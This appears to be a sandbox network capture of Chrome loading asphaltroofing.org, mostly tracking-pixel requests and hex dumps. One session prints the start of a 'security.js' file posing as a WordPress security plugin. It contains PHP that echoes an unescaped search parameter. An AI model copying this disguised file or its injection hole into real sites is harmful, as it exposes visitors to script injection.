2024-04-23 14:54:38 UTC	8192	IN	Data Raw: a7 16 42 17 25 ba a5 02 a0 23 45 d8 ee 99 24 e4 79 dc 09 6e 25 19 58 2e 22 8c d2 bf a3 08 26 0f 9c d7 f4 ac db 85 7f db 27 59 2f 32 bf 86 d9 49 d2 eb f9 ed c0 05 25 4b 50 fe 8b 04 9b f5 4a 07 50 0d 78 22 9d 5e d3 6e e9 a3 ca fd 9a b4 82 a8 d7 7e 46 d2 0d ae 3f ba 6a f2 46 a1 3c 6c bf 2f 29 3c 7e a5 e9 08 66 ed 2b 21 d4 72 5a 5d 2e 3f 0e db 06 f1 c8 1b ad 89 ac 37 8a 88 37 a5 36 03 e2 4e 1f 69 0f e8 0c 79 68 02 e6 76 76 cc 48 3c 32 43 11 0d 16 99 a6 b5 45 24 58 08 56 44 af 98 c2 33 db e2 20 76 76 34 be 3f 88 58 bf 10 c9 da 5d 97 62 4d 94 28 01 0c f1 ed 3b d7 4c 6f 45 a5 72 ec 34 3d c9 70 10 74 7c b9 18 14 dd c4 04 37 7c e8 57 db f5 67 fd 32 9b da 0e 3e db ed fe 21 93 8f dc 15 8f 12 f5 c3 57 7c 0c fc 58 36 72 b3 6c a7 97 97 57 7f c6 29 41 8d c8 44 c0 69 4c Data Ascii: B%#E$yn%X."&'Y/2I%KPJPx"^n~F?jF<l/)<~f+!rZ].?776NiyhvvH<2CE$XVD3 vv4?X]bM(;LoEr4=pt\|7\|Wg2>!W\|X6rlW)ADiL
2024-04-23 14:54:38 UTC	8192	IN	Data Raw: b6 49 ef be f6 32 1f 41 fd 47 86 69 6e d0 54 cc 3a 4d 9a 6a 90 1d ef db c1 55 03 30 96 cc c8 c2 e3 94 e9 2c 49 43 cd 0e 3f 36 7a 19 df 67 90 b5 60 7c 57 15 c4 29 dc b8 7f 98 25 cd 8f c6 93 8d 33 b9 c5 3c 88 66 05 c0 70 39 5f 27 e3 44 ad 70 8f ba 11 e8 a6 51 22 7f c0 b5 27 90 fe aa 26 79 34 a8 ef 54 45 48 dc 57 55 e7 4c d8 c9 4e f2 ce ba 41 54 75 df fa 3e 9e bc 1d 44 55 84 51 54 ea 18 73 e4 21 4f 2e 19 df 7f 79 6e c8 5a 34 be 7b a5 a6 a0 be a3 f0 bc 92 d2 2a 8b b5 21 36 d5 d5 71 9f 2a ff d6 cb 42 07 a9 17 38 45 bf 73 3b dc 2f 2a e1 e7 4c c5 1e c0 54 58 fd 91 a2 8f 99 ac 06 0d ff 17 6a d3 fb aa f3 96 b5 b6 d5 94 1e 23 16 30 15 8a 2a 0b f5 5c cc f1 1c b2 9e ba 93 f5 db 39 c8 52 33 b4 c6 d3 41 e1 9d 00 56 5a bb f1 2a 1c 37 11 de 38 80 6a 24 f6 b2 3c 66 d3 91 Data Ascii: I2AGinT:MjU0,IC?6zg`\|W)%3<fp9_'DpQ"'&y4TEHWULNATu>DUQTs!O.ynZ4{!6qB8Es;/LTXj#0\9R3AVZ*78j$<f
2024-04-23 14:54:38 UTC	8192	IN	Data Raw: de c9 3a d5 64 7d e4 47 ae 2e 79 76 74 49 b3 1b 5f cd a9 76 db 88 5b 61 c1 3f 1a f6 bc 74 50 ba 87 38 10 dc f3 7e e8 ae 46 d9 56 f1 74 a1 51 ec 77 97 be 39 ac 5e 6b fa 72 ce 10 44 eb 8f a5 4b a3 a8 37 fe 0b 86 de b4 85 8d fb 7e 72 2d 48 14 82 0a 27 e5 ef e8 33 37 e1 fb 04 b2 4e 7f d6 ec f8 b5 9e ee 83 f7 e5 8f fc f1 30 c2 0d 6a 96 a3 0e a7 bf 31 75 2d f6 87 c8 ef 9c c5 02 36 2e 2c ef a6 f4 d0 20 fd f2 e5 ac 09 ad c5 3b 9c fe 7c e2 e1 45 b1 26 30 55 21 c1 00 98 be f0 90 85 70 1a 54 fe ef ef 99 4a 3d 1b 54 4f 69 b2 ae da c2 e1 4f 13 4d d6 d7 ef e9 d4 77 63 7f 59 9c d4 d2 ff 1f 23 21 67 92 41 5d 67 59 32 d9 5d ea 99 8a a1 b0 5a c5 75 c4 e2 5a a6 fb 49 9f b7 4e fd bd 1b a8 73 92 43 55 16 3e 82 4c b1 c6 c1 b4 77 2d 95 3d 55 3d 0c 33 a0 ae e6 40 7d f6 61 33 c2 Data Ascii: :d}G.yvtI_v[a?tP8~FVtQw9^krDK7~r-H'37N0j1u-6., ;\|E&0U!pTJ=TOiOMwcY#!gA]gY2]ZuZINsCU>Lw-=U=3@}a3
2024-04-23 14:54:38 UTC	8192	IN	Data Raw: f7 ce b0 1b c9 9a 5d 9f 7f fa f0 e9 5c c9 ba 7f b5 a5 2f 2b 5d 01 ec 22 33 c4 5d 14 76 b4 6d 23 87 ae 5d c7 20 7c 64 ea 07 a2 64 1d 51 f7 a0 0a 9e c9 a8 9e 53 91 4c 73 03 b4 82 66 bb 11 06 1e e1 79 c4 15 72 24 73 6b 5d 72 bc c3 24 35 c8 45 c0 73 f7 c3 25 92 f5 de 3d 59 df 69 7c 7f 03 4e 75 8e 07 c7 d2 69 84 8b a4 22 6d de ba 0c e6 22 d2 09 54 cc 76 79 14 5e 27 ea 13 df 15 a2 98 ba f0 54 a7 c4 6a 9e 09 13 98 54 64 87 f4 e7 19 d7 28 af 2b 57 61 e2 72 2b 81 e2 dc 02 a0 f6 9e c0 d9 a3 6e 24 6b a1 64 fd b2 54 b2 7e 26 ab 75 69 5e 67 3b e3 3f 02 96 14 bb 90 f6 f9 ce c0 69 78 71 40 b1 7d 1e 7d 7d 08 0b 7c 95 a8 fb 62 d2 53 26 48 29 96 1b a1 05 51 35 ce 6c 6a 1d 80 02 a8 e8 63 64 75 b0 c2 94 b1 2c 4b 1b 0b 65 ca 0d 31 f4 18 cc f6 dc 0c 4d ac d2 b7 76 e1 c2 93 f5 Data Ascii: ]\/+]"3]vm#] \|ddQSLsfyr$sk]r$5Es%=Yi\|Nui"m"Tvy^'TjTd(+War+n$kdT~&ui^g;?ixq@}}}\|bS&H)Q5ljcdu,Ke1Mv
2024-04-23 14:54:38 UTC	6667	IN	Data Raw: da ea b3 4d 5f 86 19 e9 95 84 53 d0 52 33 eb 24 24 21 02 fd 97 bc b3 7d 8e da d6 c2 78 62 d6 1b 76 9b bb 64 5f 42 2e 6d 08 69 08 03 73 33 e6 0b d3 32 bc 5d 4d 25 21 21 a2 19 a1 41 fe b0 ff ff 3f d2 73 64 af d7 2f 72 48 ec a5 74 8c 9c ec b4 c3 0e 5f fa eb 73 1e 1d 1d 3d 36 61 a3 4e 84 a2 5c cb 94 13 cb a5 01 4f cf 55 ff dd df 6d a0 ca 05 eb f4 74 51 26 2b af 87 48 17 70 e5 cb e1 fe bd 41 93 85 c7 85 e7 f5 c1 f7 72 00 db ab eb eb 3f 3f 7d 7a ff fe d3 97 cf af ae ff 7a f7 fa e3 eb eb ee 75 b0 08 d2 eb 56 90 08 95 22 a5 68 d4 0d 21 d6 c8 96 b3 1e 92 00 7b f0 35 c1 30 c5 4a 18 a3 48 2f a5 da 78 aa db 40 95 3b ac c9 e9 29 a2 b5 a8 69 96 5f 87 58 0d 0f ef fd 7a 6f d8 64 3d 09 98 ac 72 27 eb 8f 77 5f af bf 7e fe eb dd 97 3f 3f be 7a f3 fa 7d 8f c4 cf ff 65 a1 2f Data Ascii: M_SR3$$!}xbvd_B.mis32]M%!!A?sd/rHt_s=6aN\OUmtQ&+HpAr??}zzuV"h!{50JH/x@;)i_Xzod=r'w_~??z}e/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.6	50165	13.32.151.88	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:38 UTC	388	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:38 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:38 GMT x-amzn-RequestId: faa74e00-7aa9-4f41-a450-d1401cdef410 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:38 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzDTEr4oAMElRA= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cbae-437efa6c6c8b34f654c539bf;Parent=04610e436d6f14c2;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 657550dfe2740440cd2d2c5a84cf231e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: gxLLnLaU4D_7F_zy09S-XL3hCYox-UvcXoPvlPr0DfVXiSHzD2DXpA==
2024-04-23 14:54:38 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.6	50168	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:38 UTC	918	OUT	GET /v1/analytics/crumb?cb=1713884077240&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:39 UTC	1058	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:38 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:38 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q6on0gwskZQNQv1ENUM%2FArtdGsUO6HlIlnjrBKGxPOnEL6yqn9fEtQq%2B3yODjGYgzrT3p24jk5PHtK4HRGmzIUcDhrvd5olYRSZN3dNg6LIEhyV0AUqsL6xVwLJLJQ4H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0a53fd51d64-ATL
2024-04-23 14:54:39 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.6	50169	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:39 UTC	676	OUT	GET /v1/analytics/crumb?cb=1713884077240&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:39 UTC	1054	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:39 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:39 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GITIelKIGRBjnP7YdxSYYT3ZpYpvnXvJLRMlFlQ0kpHD3wM58b11KvhVUN3QOBsx8sp1gp6TR38duUl374vZTSboKPMUJoC9jEpOEvsypuLuN4j6ul8zOMU5X58fSGIQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0a89ad653fd-ATL
2024-04-23 14:54:39 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.6	50173	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:39 UTC	1196	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&rl=&if=false&ts=1713884077837&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884077822&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:39 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=104, rtx=0, c=10, mss=1277, tbw=3405, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:39 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.6	50172	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:39 UTC	824	OUT	GET /security.js?v=1713884077797 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/excellence/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:39 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:39 GMT Content-Type: text/javascript Content-Length: 1478 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:39 UTC	1478	IN	Data Raw: 2f 2a 20 49 74 20 69 73 20 57 6f 72 64 50 72 65 73 73 20 73 65 63 75 72 69 74 79 20 66 69 6c 65 2e 0d 0a 54 68 61 6e 6b 73 20 74 6f 20 74 68 69 73 20 70 6c 75 67 69 6e 2c 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 6c 6c 20 62 65 20 66 61 73 74 65 72 2c 20 6d 6f 72 65 20 75 70 2d 74 6f 2d 64 61 74 65 20 61 6e 64 20 6d 6f 72 65 20 73 65 63 75 72 65 2e 20 54 68 69 73 20 70 6c 75 67 69 6e 20 69 73 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 75 70 64 61 74 65 64 20 62 79 20 74 68 65 20 73 79 73 74 65 6d 2e 0d 0a 0d 0a 24 73 65 61 72 63 68 20 3d 20 24 5f 47 45 54 5b 27 73 65 61 72 63 68 27 5d 20 3f 3f 20 6e 75 6c 6c 3b 0d 0a 65 63 68 6f 20 27 53 65 61 72 63 68 20 72 65 73 75 6c 74 73 20 66 6f 72 20 27 2e 24 73 65 61 72 63 68 3b 0d 0a 24 73 65 61 72 63 68 Data Ascii: /* It is WordPress security file.Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.$search = $_GET['search'] ?? null;echo 'Search results for '.$search;$search

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.6	50174	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:39 UTC	1306	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&rl=&if=false&ts=1713884077837&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884077822&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source=navigation-source, trigger Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:39 UTC	948	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:39 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:39 UTC	1579	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch
2024-04-23 14:54:39 UTC	70	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 Data Ascii: 43PNGIHDRIDATxc-IENDB`
2024-04-23 14:54:39 UTC	8	IN	Data Raw: 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.6	50177	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:39 UTC	954	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&rl=&if=false&ts=1713884077837&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fexcellence%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884077822&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:39 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=115, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=1, ullat=1 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:39 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.6	50179	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
